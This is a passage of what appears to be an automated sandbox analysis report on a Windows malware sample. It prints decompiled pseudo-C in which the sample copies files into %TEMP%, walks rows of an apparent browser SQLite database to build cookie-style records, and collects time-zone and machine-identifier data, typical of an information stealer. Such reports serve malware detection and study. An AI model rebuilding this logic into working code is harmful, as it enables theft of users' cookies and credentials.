									_t264 =  *0x41b1dc; // 0x41ca30
									_t266 =  *((intOrPtr*)( *_t264))(_v20, 1);
									_t372 = _t377 + 0x10;
									E004036DC( &_v68, _t266);
									E0040357C( &_v72, _v36);
									_t272 = E00403AD4(0x40f2dc, _v64);
									__eflags = _t272;
									if(_t272 != 0) {
										E0040357C( &_v64, 0x40f2e8);
									}
									_push(_v32);
									E00403D88( &_v364, _v48);
									_push(_v364);
									_push(E0040F2F0);
									E00403D88( &_v368, _v52);
									_push(_v368);
									_push(E0040F2F0);
									E00403D88( &_v372, _v56);
									_push(_v372);
									_push(E0040F2F0);
									E00403D88( &_v376, _v60);
									_push(_v376);
									_push(E0040F2F0);
									E00403D88( &_v380, _v64);
									_push(_v380);
									_push(E0040F2F0);
									E00403D88( &_v384, _v68);
									_push(_v384);
									_push(E0040F2F0);
									E00403D88( &_v388, _v72);
									_push(_v388);
									_push(E0040F2F8);
									E00403E78();
									E00405194(_v48, _t309, _t366, _t367);
								}
							}
						}
						L24:
						_t195 =  *0x41b46c; // 0x41ca38
						 *((intOrPtr*)( *_t195))(_v20);
						_t199 =  *0x41b20c; // 0x41ca24
						 *((intOrPtr*)( *_t199))(_v16);
					}
					_pop(_t335);
					 *[fs:eax] = _t335;
					E00403C18(_v12, _v32);
					DeleteFileW(E00403D98(_v80)); // executed
				} else {
					_pop(_t365);
					 *[fs:eax] = _t365;
				}
				_pop(_t337);
				 *[fs:eax] = _t337;
				_push(E0040F27D);
				E00403BF4( &_v388, 7);
				E00403BDC( &_v104);
				E004034E4( &_v100);
				E00403BF4( &_v96, 6);
				E00403508( &_v72, 7);
				E004034E4( &_v44);
				E00403BDC( &_v40);
				E004034E4( &_v36);
				E00403BDC( &_v32);
				E004034E4( &_v28);
				return E00403BDC( &_v8);
			}

0x0040ed98
0x0040ed98
0x0040ed98
0x0040ed98
0x0040ed9a
0x0040ed9c
0x0040ed9e
0x0040eda0
0x0040eda5
0x0040eda7
0x0040eda9
0x0040edab
0x0040edb0
0x0040edb0
0x0040edb2
0x0040edb4
0x0040edb4
0x0040edb4
0x0040edba
0x0040edbd
0x0040edc3
0x0040edd3
0x0040edd9
0x0040ede9
0x0040edec
0x0040edf8
0x0040edfd
0x0040ee03
0x0040ee08
0x0040ee0b
0x0040ee18
0x0040ee23
0x0040ee30
0x0040ee35
0x0040ee38
0x0040ee3d
0x0040ee48
0x0040ee53
0x0040ee5d
0x0040ee73
0x0040ee7b
0x0040ee86
0x0040ee91
0x0040ee99
0x0040eea0
0x0040eebc
0x0040eec3
0x0040eec5
0x0040eec8
0x0040eeca
0x0040eeda
0x0040eeeb
0x0040eef2
0x0040eef4
0x0040eef7
0x0040eef9
0x0040ef05
0x0040ef16
0x0040ef1d
0x0040ef1f
0x0040ef1f
0x0040ef22
0x0040ef24
0x0040f19a
0x0040f19e
0x0040f1a5
0x0040f1a8
0x0040f1ab
0x00000000
0x00000000
0x0040ef32
0x0040ef3a
0x0040ef45
0x0040ef58
0x0040ef5f
0x0040ef67
0x0040ef68
0x0040ef73
0x0040ef7a
0x0040ef7c
0x0040ef84
0x0040ef8c
0x0040ef91
0x0040ef96
0x0040ef9b
0x0040ef9d
0x0040efa5
0x0040efa5
0x0040efad
0x0040efb2
0x0040efb4
0x0040efc0
0x0040efc7
0x0040efc9
0x0040efd1
0x0040efde
0x0040efe6
0x0040efeb
0x0040efed
0x0040eff2
0x0040eff5
0x0040efff
0x0040efff
0x0040eff5
0x0040f00a
0x0040f01b
0x0040f026
0x0040f02d
0x0040f02f
0x0040f03a
0x0040f04e
0x0040f04f
0x0040f054
0x0040f06d
0x0040f056
0x0040f05e
0x0040f05e
0x0040f078
0x0040f089
0x0040f094
0x0040f09b
0x0040f09d
0x0040f0a5
0x0040f0b0
0x0040f0bd
0x0040f0c2
0x0040f0c4
0x0040f0ce
0x0040f0ce
0x0040f0d3
0x0040f0df
0x0040f0e4
0x0040f0ea
0x0040f0f8
0x0040f0fd
0x0040f103
0x0040f111
0x0040f116
0x0040f11c
0x0040f12a
0x0040f12f
0x0040f135
0x0040f143
0x0040f148
0x0040f14e
0x0040f15c
0x0040f161
0x0040f167
0x0040f175
0x0040f17a
0x0040f180
0x0040f18d
0x0040f195
0x0040f195
0x0040efb4
0x0040f19a
0x0040f1b1
0x0040f1b5
0x0040f1bc
0x0040f1c3
0x0040f1ca
0x0040f1cc
0x0040f1cf
0x0040f1d2
0x0040f1e7
0x0040f1fc
0x0040eea2
0x0040eea4
0x0040eea7
0x0040eea7
0x0040f200
0x0040f203
0x0040f206
0x0040f216
0x0040f21e
0x0040f226
0x0040f233
0x0040f240
0x0040f248
0x0040f250
0x0040f258
0x0040f260
0x0040f268
0x0040f275

APIs

CopyFileW.KERNEL32(00000000,00000000,000000FF,0041985E,0040F2AC,?,.tmp,?,?,?,00000000,0040F276,?,00000000,?,00000000), ref: 0040EE73

Strings

%TEMP%, xrefs: 0040EE2B
.tmp, xrefs: 0040EE0B

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CopyFile
String ID: %TEMP%$.tmp
API String ID: 1304948518-3650661790
Opcode ID: 8ca4980fa83516cfa36ca8fa7f36c94f9a031b65b5279adaaa3693729829b0ac
Instruction ID: 39ac10affa1ed3ce9ccc896e4b2514a1dc3ce87dd656b657005e1e46ab4efc18
Opcode Fuzzy Hash: 8ca4980fa83516cfa36ca8fa7f36c94f9a031b65b5279adaaa3693729829b0ac
Instruction Fuzzy Hash: EA4110349042089FDB11EFA1D942ACDBBB9EF45308F50417BE404B76E6D739AE0ACB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
fileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040EDA0(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				void* _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v92;
				char _v96;
				char _v100;
				char _v104;
				intOrPtr _v117;
				char _v360;
				char _v364;
				char _v368;
				char _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				signed int _t112;
				intOrPtr* _t118;
				WCHAR* _t133;
				void* _t146;
				intOrPtr* _t150;
				void* _t152;
				intOrPtr* _t186;
				intOrPtr* _t190;
				void* _t192;
				intOrPtr* _t194;
				intOrPtr* _t198;
				intOrPtr* _t202;
				void* _t204;
				intOrPtr* _t210;
				intOrPtr* _t214;
				void* _t216;
				intOrPtr* _t219;
				void* _t221;
				void* _t225;
				void* _t227;
				void* _t229;
				intOrPtr* _t231;
				void* _t233;
				void* _t239;
				intOrPtr* _t241;
				intOrPtr* _t247;
				intOrPtr* _t257;
				intOrPtr* _t263;
				void* _t265;
				void* _t271;
				intOrPtr* _t300;
				intOrPtr* _t304;
				void* _t309;
				intOrPtr _t334;
				intOrPtr _t336;
				void* _t340;
				intOrPtr _t364;
				intOrPtr _t368;
				intOrPtr _t369;
				void* _t370;
				void* _t371;
				void* _t374;
				void* _t376;

				_t366 = __esi;
				_t365 = __edi;
				_t307 = __ebx;
				_t112 = __eax | 0x00000a00;
				 *_t112 =  *_t112 + _t112;
				_v117 = _v117 + __edx;
				_t368 = _t369;
				_t309 = 0x30;
				do {
					_push(0);
					_push(0);
					_t309 = _t309 - 1;
					_t379 = _t309;
				} while (_t309 != 0);
				_v12 = __edx;
				_v8 = _t112;
				E00404150( &_v8);
				 *[fs:eax] = _t369;
				E00403BDC( &_v32);
				 *[fs:edx] = _t369;
				_t118 =  *0x41b1c4; // 0x41c6c0
				E0040709C( *((intOrPtr*)( *_t118))( *[fs:edx], 0x40f1d7, _t368,  *[fs:eax], 0x40f276, _t368, __edi, __esi, __ebx), __ebx,  &_v84, __esi, _t379);
				_push(_v84);
				E00406FDC( &_v88, __ebx, __edi, __esi, _t379);
				_push(_v88);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t307,  &_v76, _t379);
				E004062FC(L"%TEMP%",  &_v96, _t379);
				_push(_v96);
				_push(0x40f2ac);
				_push(_v40);
				E00403E78();
				E004078D8(_v92, _t307,  &_v80, _t379);
				_t133 = E00403D98(_v80);
				CopyFileW(E00403D98(_v76), _t133, 0xffffffff); // executed
				E0040377C( &_v100, _v80);
				E00404B58(_v100, _t307, _t309,  &_v44, _t366, _t379);
				E00403D88( &_v104, _v44);
				_t146 = E0040776C(_v104, _t307, _t309); // executed
				if(_t146 != 0) {
					_t150 =  *0x41b140; // 0x41ca20
					_t152 =  *((intOrPtr*)( *_t150))(E00403990(_v44),  &_v16); // executed
					_t370 = _t369 + 8;
					__eflags = _t152;
					if(_t152 == 0) {
						_t186 =  *0x41b184; // 0x41c924
						_t190 =  *0x41b2d4; // 0x41ca28
						_t192 =  *((intOrPtr*)( *_t190))(_v16, E00403990( *_t186), 0xffffffff,  &_v20,  &_v24); // executed
						_t371 = _t370 + 0x14;
						__eflags = _t192;
						if(_t192 != 0) {
							_t300 =  *0x41b43c; // 0x41c928
							_t304 =  *0x41b2d4; // 0x41ca28
							_t192 =  *((intOrPtr*)( *_t304))(_v16, E00403990( *_t300), 0xffffffff,  &_v20,  &_v24);
							_t371 = _t371 + 0x14;
						}
						__eflags = _t192;
						if(_t192 == 0) {
							while(1) {
								_t202 =  *0x41b384; // 0x41ca2c
								_t204 =  *((intOrPtr*)( *_t202))(_v20);
								__eflags = _t204 - 0x64;
								if(_t204 != 0x64) {
									goto L23;
								}
								E004034E4( &_v28);
								E004034E4( &_v36);
								_t210 =  *0x41b414; // 0x41ca34
								_t214 =  *0x41b1dc; // 0x41ca30
								_t216 =  *((intOrPtr*)( *_t214))(_v20, 2,  *((intOrPtr*)( *_t210))(_v20, 2));
								_pop(_t340);
								E0040A610(_t216,  &_v28, _t340);
								_t219 =  *0x41b1dc; // 0x41ca30
								_t221 =  *((intOrPtr*)( *_t219))(_v20, 3);
								_t371 = _t371 + 0x18;
								E004036DC( &_v36, _t221);
								_t225 = E00403790(_v28);
								_t308 = _t225;
								_t227 = E00403790(_v36);
								__eflags = _t225 - _t227;
								if(_t225 > _t227) {
									E0040357C( &_v36, _v28);
								}
								_t229 = E00403790(_v36);
								__eflags = _t229;
								if(_t229 != 0) {
									_t231 =  *0x41b1dc; // 0x41ca30
									_t233 =  *((intOrPtr*)( *_t231))(_v20, 0);
									_t374 = _t371 + 8;
									E004036DC( &_v48, _t233);
									E0040357C( &_v52, 0x40f2b8);
									_t239 = E00403790(_v48);
									__eflags = _t239;
									if(_t239 > 0) {
										__eflags =  *_v48 - 0x2e;
										if( *_v48 == 0x2e) {
											E0040357C( &_v52, 0x40f2c8);
										}
									}
									_t241 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v56,  *((intOrPtr*)( *_t241))(_v20, 4));
									_t247 =  *0x41b1dc; // 0x41ca30
									 *((intOrPtr*)( *_t247))(_v20, 5);
									_t376 = _t374 + 0x10;
									E00402A5C();
									__eflags = 1;
									E00402870( &_v360, 1, 0x40f2d0);
									if(__eflags != 0) {
										E0040357C( &_v60, 0x40f2c8);
									} else {
										E0040357C( &_v60, 0x40f2b8);
									}
									_t257 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v64,  *((intOrPtr*)( *_t257))(_v20, 6));
									_t263 =  *0x41b1dc; // 0x41ca30
									_t265 =  *((intOrPtr*)( *_t263))(_v20, 1);
									_t371 = _t376 + 0x10;
									E004036DC( &_v68, _t265);
									E0040357C( &_v72, _v36);
									_t271 = E00403AD4(0x40f2dc, _v64);
									__eflags = _t271;
									if(_t271 != 0) {
										E0040357C( &_v64, 0x40f2e8);
									}
									_push(_v32);
									E00403D88( &_v364, _v48);
									_push(_v364);
									_push(E0040F2F0);
									E00403D88( &_v368, _v52);
									_push(_v368);
									_push(E0040F2F0);
									E00403D88( &_v372, _v56);
									_push(_v372);
									_push(E0040F2F0);
									E00403D88( &_v376, _v60);
									_push(_v376);
									_push(E0040F2F0);
									E00403D88( &_v380, _v64);
									_push(_v380);
									_push(E0040F2F0);
									E00403D88( &_v384, _v68);
									_push(_v384);
									_push(E0040F2F0);
									E00403D88( &_v388, _v72);
									_push(_v388);
									_push(E0040F2F8);
									E00403E78();
									E00405194(_v48, _t308, _t365, _t366);
								}
							}
						}
						L23:
						_t194 =  *0x41b46c; // 0x41ca38
						 *((intOrPtr*)( *_t194))(_v20);
						_t198 =  *0x41b20c; // 0x41ca24
						 *((intOrPtr*)( *_t198))(_v16);
					}
					_pop(_t334);
					 *[fs:eax] = _t334;
					E00403C18(_v12, _v32);
					DeleteFileW(E00403D98(_v80)); // executed
				} else {
					_pop(_t364);
					 *[fs:eax] = _t364;
				}
				_pop(_t336);
				 *[fs:eax] = _t336;
				_push(E0040F27D);
				E00403BF4( &_v388, 7);
				E00403BDC( &_v104);
				E004034E4( &_v100);
				E00403BF4( &_v96, 6);
				E00403508( &_v72, 7);
				E004034E4( &_v44);
				E00403BDC( &_v40);
				E004034E4( &_v36);
				E00403BDC( &_v32);
				E004034E4( &_v28);
				return E00403BDC( &_v8);
			}

0x0040eda0
0x0040eda0
0x0040eda0
0x0040eda0
0x0040eda5
0x0040eda7
0x0040eda9
0x0040edab
0x0040edb0
0x0040edb0
0x0040edb2
0x0040edb4
0x0040edb4
0x0040edb4
0x0040edba
0x0040edbd
0x0040edc3
0x0040edd3
0x0040edd9
0x0040ede9
0x0040edec
0x0040edf8
0x0040edfd
0x0040ee03
0x0040ee08
0x0040ee0b
0x0040ee18
0x0040ee23
0x0040ee30
0x0040ee35
0x0040ee38
0x0040ee3d
0x0040ee48
0x0040ee53
0x0040ee5d
0x0040ee73
0x0040ee7b
0x0040ee86
0x0040ee91
0x0040ee99
0x0040eea0
0x0040eebc
0x0040eec3
0x0040eec5
0x0040eec8
0x0040eeca
0x0040eeda
0x0040eeeb
0x0040eef2
0x0040eef4
0x0040eef7
0x0040eef9
0x0040ef05
0x0040ef16
0x0040ef1d
0x0040ef1f
0x0040ef1f
0x0040ef22
0x0040ef24
0x0040f19a
0x0040f19e
0x0040f1a5
0x0040f1a8
0x0040f1ab
0x00000000
0x00000000
0x0040ef32
0x0040ef3a
0x0040ef45
0x0040ef58
0x0040ef5f
0x0040ef67
0x0040ef68
0x0040ef73
0x0040ef7a
0x0040ef7c
0x0040ef84
0x0040ef8c
0x0040ef91
0x0040ef96
0x0040ef9b
0x0040ef9d
0x0040efa5
0x0040efa5
0x0040efad
0x0040efb2
0x0040efb4
0x0040efc0
0x0040efc7
0x0040efc9
0x0040efd1
0x0040efde
0x0040efe6
0x0040efeb
0x0040efed
0x0040eff2
0x0040eff5
0x0040efff
0x0040efff
0x0040eff5
0x0040f00a
0x0040f01b
0x0040f026
0x0040f02d
0x0040f02f
0x0040f03a
0x0040f04e
0x0040f04f
0x0040f054
0x0040f06d
0x0040f056
0x0040f05e
0x0040f05e
0x0040f078
0x0040f089
0x0040f094
0x0040f09b
0x0040f09d
0x0040f0a5
0x0040f0b0
0x0040f0bd
0x0040f0c2
0x0040f0c4
0x0040f0ce
0x0040f0ce
0x0040f0d3
0x0040f0df
0x0040f0e4
0x0040f0ea
0x0040f0f8
0x0040f0fd
0x0040f103
0x0040f111
0x0040f116
0x0040f11c
0x0040f12a
0x0040f12f
0x0040f135
0x0040f143
0x0040f148
0x0040f14e
0x0040f15c
0x0040f161
0x0040f167
0x0040f175
0x0040f17a
0x0040f180
0x0040f18d
0x0040f195
0x0040f195
0x0040efb4
0x0040f19a
0x0040f1b1
0x0040f1b5
0x0040f1bc
0x0040f1c3
0x0040f1ca
0x0040f1cc
0x0040f1cf
0x0040f1d2
0x0040f1e7
0x0040f1fc
0x0040eea2
0x0040eea4
0x0040eea7
0x0040eea7
0x0040f200
0x0040f203
0x0040f206
0x0040f216
0x0040f21e
0x0040f226
0x0040f233
0x0040f240
0x0040f248
0x0040f250
0x0040f258
0x0040f260
0x0040f268
0x0040f275

APIs

CopyFileW.KERNEL32(00000000,00000000,000000FF,0041985E,0040F2AC,?,.tmp,?,?,?,00000000,0040F276,?,00000000,?,00000000), ref: 0040EE73

Strings

%TEMP%, xrefs: 0040EE2B
.tmp, xrefs: 0040EE0B

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CopyFile
String ID: %TEMP%$.tmp
API String ID: 1304948518-3650661790
Opcode ID: c0e76c10efb7887ff6777afd14a0c9d0f0aebcdb85bbe51d25239003e47637b0
Instruction ID: 1198d698b9ab1f89fad27fc395bceb7a4a20069740f645071ac97c825d7a0299
Opcode Fuzzy Hash: c0e76c10efb7887ff6777afd14a0c9d0f0aebcdb85bbe51d25239003e47637b0
Instruction Fuzzy Hash: 30412E349042089FDB11EFA1C942ACDBBB9EF45308F60417BE404B76E6D739BE09CA58

Uniqueness

Uniqueness Score: -1.00%

Function 0040E79C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040E79C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _t29;
				void* _t40;
				WCHAR* _t51;
				int _t54;
				void* _t59;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t73;
				void* _t74;
				intOrPtr _t77;
				void* _t78;
				void* _t79;

				_t74 = __esi;
				_t73 = __edi;
				_t63 = __edx;
				_t59 = __ebx;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00403980(_v12);
				_push(_t77);
				_push(0x40e89b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t77;
				_t29 = E00403790(_v16);
				asm("cdq");
				_t78 = _t63 -  *0x41cac8; // 0x0
				if(_t78 != 0) {
					if(__eflags < 0) {
						goto L4;
					}
				} else {
					_t79 = _t29 -  *0x41cac4; // 0x5000000
					if(_t79 < 0) {
						L4:
						E00407228(_v8, _t59,  &_v16); // executed
						_t40 = E00403790(_v16);
						_t80 = _t40;
						if(_t40 == 0) {
							E004062FC(L"%TEMP%\\curbuf.dat",  &_v20, _t80);
							_t51 = E00403D98(_v20);
							_t54 = CopyFileW(E00403D98(_v8), _t51, 0); // executed
							_t81 = _t54;
							if(_t54 != 0) {
								E004062FC(L"%TEMP%\\curbuf.dat",  &_v24, _t81);
								E00407228(_v24, _t59,  &_v16);
							}
						}
						E0040E6D4(_v16, _t59, _v12, _t73, _t74);
						E004062FC(L"%TEMP%\\curbuf.dat",  &_v28, _t81);
						DeleteFileW(E00403D98(_v28)); // executed
					}
				}
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(E0040E8A2);
				E00403BF4( &_v28, 3);
				E00403508( &_v16, 2);
				return E00403BDC( &_v8);
			}

0x0040e79c
0x0040e79c
0x0040e79c
0x0040e79c
0x0040e7a1
0x0040e7a2
0x0040e7a3
0x0040e7a4
0x0040e7a5
0x0040e7a6
0x0040e7a7
0x0040e7aa
0x0040e7b0
0x0040e7b8
0x0040e7bf
0x0040e7c0
0x0040e7c5
0x0040e7c8
0x0040e7ce
0x0040e7d3
0x0040e7d4
0x0040e7da
0x0040e7ea
0x00000000
0x00000000
0x0040e7dc
0x0040e7dc
0x0040e7e2
0x0040e7ec
0x0040e7f2
0x0040e7fa
0x0040e7ff
0x0040e801
0x0040e80d
0x0040e815
0x0040e824
0x0040e829
0x0040e82b
0x0040e835
0x0040e840
0x0040e840
0x0040e82b
0x0040e84b
0x0040e858
0x0040e866
0x0040e866
0x0040e7e2
0x0040e86d
0x0040e870
0x0040e873
0x0040e880
0x0040e88d
0x0040e89a

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C), ref: 0040E824
DeleteFileW.KERNEL32(00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C,00000001,?), ref: 0040E866

Strings

%TEMP%\curbuf.dat, xrefs: 0040E808, 0040E830, 0040E853

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AllocCopyDeleteString
String ID: %TEMP%\curbuf.dat
API String ID: 5292005-3767633259
Opcode ID: fa43313c693eb8577226a6bec5ecb94cc23b15d92c98476e6badfebabb52b38a
Instruction ID: 82a9ed53c2a697d02335697899508965461685f21aee0589c72fe3466f83eb79
Opcode Fuzzy Hash: fa43313c693eb8577226a6bec5ecb94cc23b15d92c98476e6badfebabb52b38a
Instruction Fuzzy Hash: 4D211271A00209EBDB00FBA6D94299EB7B8EF44309F50897BF400B32D1D738AE11965D

Uniqueness

Uniqueness Score: -1.00%

Function 004013EC, Relevance: 3.8, APIs: 3, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004013EC(void* __eax, void** __ecx, void* __edx) {
				void* _t4;
				void** _t9;
				void* _t13;
				void* _t14;
				long _t16;
				void* _t17;

				_t9 = __ecx;
				_t14 = __edx;
				_t17 = __eax;
				 *(__ecx + 4) = 0x100000;
				_t4 = VirtualAlloc(__eax, 0x100000, 0x2000, 4); // executed
				_t13 = _t4;
				 *_t9 = _t13;
				if(_t13 == 0) {
					_t16 = _t14 + 0x0000ffff & 0xffff0000;
					_t9[1] = _t16;
					_t4 = VirtualAlloc(_t17, _t16, 0x2000, 4); // executed
					 *_t9 = _t4;
				}
				if( *_t9 != 0) {
					_t4 = E0040123C(0x41c5d4, _t9);
					if(_t4 == 0) {
						VirtualFree( *_t9, 0, 0x8000);
						 *_t9 = 0;
						return 0;
					}
				}
				return _t4;
			}

0x004013f0
0x004013f2
0x004013f4
0x004013f6
0x0040140a
0x0040140f
0x00401411
0x00401415
0x0040141d
0x00401423
0x0040142f
0x00401434
0x00401434
0x00401439
0x00401442
0x00401449
0x00401455
0x0040145c
0x00000000
0x0040145c
0x00401449
0x00401462

APIs

VirtualAlloc.KERNEL32(?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040140A
VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040142F
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 00401455

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: d0f7f9bf85a63e2073a0b0aba1efbedd90cc19d60285e6920d01ae654114abd6
Instruction ID: 45c7259c7c7f7a53f47d7ebf7c15b413a2e3392a3d77efebc7c94e45ea16ea77
Opcode Fuzzy Hash: d0f7f9bf85a63e2073a0b0aba1efbedd90cc19d60285e6920d01ae654114abd6
Instruction Fuzzy Hash: 93F0C8B17403206ADB319A294C85F537AD49B4A764F144176BB08FF3DAD675580086AC

Uniqueness

Uniqueness Score: -1.00%

Function 00416790, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
timeCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00416790(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v117;
				struct _TIME_ZONE_INFORMATION _v176;
				char _v180;
				char _v184;
				char _v188;
				intOrPtr _t64;
				intOrPtr* _t67;
				void* _t73;
				intOrPtr _t75;

				asm("das");
				 *__eax =  *__eax + __eax;
				_t1 =  &_v117;
				 *_t1 = _v117 + __edx;
				_t75 =  *_t1;
				_v180 = 0;
				_v184 = 0;
				_v188 = 0;
				_t67 = __eax;
				_push(_t73);
				_push(0x41686c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t73 + 0xffffff48;
				GetTimeZoneInformation( &_v176); // executed
				_t52 = _v176.Bias;
				asm("cdq");
				asm("cdq");
				asm("cdq");
				_push(L"UTC+");
				E0040709C( ~(_v176.Bias / 0x3c),  ~(_v176.Bias / 0x3c),  &_v184, (_t52 % 0x0000003c ^ _t52 % 0x0000003c) - _t52 % 0x3c, _t75);
				_push(_v184);
				_push(E00416890);
				E0040709C((_t52 % 0x0000003c ^ _t52 % 0x0000003c) - _t52 % 0x3c,  ~(_v176.Bias / 0x3c),  &_v188, (_t52 % 0x0000003c ^ _t52 % 0x0000003c) - _t52 % 0x3c, _t75);
				_push(_v188);
				E00403E78();
				E0040377C(_t67, _v180);
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(E00416873);
				return E00403BF4( &_v188, 3);
			}

0x00416790
0x00416791
0x00416793
0x00416793
0x00416793
0x004167a2
0x004167a8
0x004167ae
0x004167b4
0x004167b8
0x004167b9
0x004167be
0x004167c1
0x004167d2
0x004167d4
0x004167e1
0x004167f3
0x004167fa
0x00416801
0x0041680e
0x00416813
0x00416819
0x00416826
0x0041682b
0x0041683c
0x00416849
0x00416850
0x00416853
0x00416856
0x0041686b

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

UTC+, xrefs: 00416801

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeInformationStringTimeZone
String ID: UTC+
API String ID: 3683333525-3251258214
Opcode ID: c3bb976dd44c253e4d51d667c7ca5e2e059a490641ccd9b31a70ec6ebc12a4eb
Instruction ID: 27eabc9f0045429e762116ab642fbfda2658c70502cd9c05b657de06b2a7fc60
Opcode Fuzzy Hash: c3bb976dd44c253e4d51d667c7ca5e2e059a490641ccd9b31a70ec6ebc12a4eb
Instruction Fuzzy Hash: 42215171B047149FD755DB2A8C41B9AB6FA9B8D300F1181B9B50CE3292D7389E458A16

Uniqueness

Uniqueness Score: -1.00%

Function 00401F5C, Relevance: 3.1, APIs: 2, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 00401870: RtlInitializeCriticalSection.NTDLL(0041C5B4), ref: 00401886
Part of subcall function 00401870: RtlEnterCriticalSection.NTDLL(0041C5B4), ref: 00401899
Part of subcall function 00401870: LocalAlloc.KERNEL32(00000000,00000FF8,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
Part of subcall function 00401870: RtlLeaveCriticalSection.NTDLL(0041C5B4), ref: 00401920

RtlEnterCriticalSection.NTDLL(0041C5B4), ref: 00401FA7
RtlLeaveCriticalSection.NTDLL(0041C5B4), ref: 004020D2

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID:
API String ID: 2227675388-0
Opcode ID: d4f2b8d86a24fc9488b127d85e8a97efeb6077d7c2f2a9b6fd457b64e4909ea4
Instruction ID: 60aaef5d71d1198278099ac2c9ce8b9a20775f5f033974ed56173d7c89f55220
Opcode Fuzzy Hash: d4f2b8d86a24fc9488b127d85e8a97efeb6077d7c2f2a9b6fd457b64e4909ea4
Instruction Fuzzy Hash: DA41CDB1A813019FD714CF29DDC56AABBA1EB59318B24C27FD505E77E1E378A841CB08

Uniqueness

Uniqueness Score: -1.00%

Function 004075C0, Relevance: 3.1, APIs: 2, Instructions: 76
registryCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E004075C0(void* __eax, void* __ebx, char __ecx, char __edx, intOrPtr _a4, char _a8) {
				char _v8;
				char _v12;
				int _v16;
				int _v20;
				void* _v24;
				char _v536;
				intOrPtr* _t43;
				intOrPtr* _t52;
				void* _t56;
				intOrPtr _t63;
				void* _t67;

				_v12 = __ecx;
				_v8 = __edx;
				_t56 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t67);
				_push(0x4076a3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t67 + 0xfffffdec;
				_v20 = 0xfe;
				_v536 = 0;
				if(_a8 != 1) {
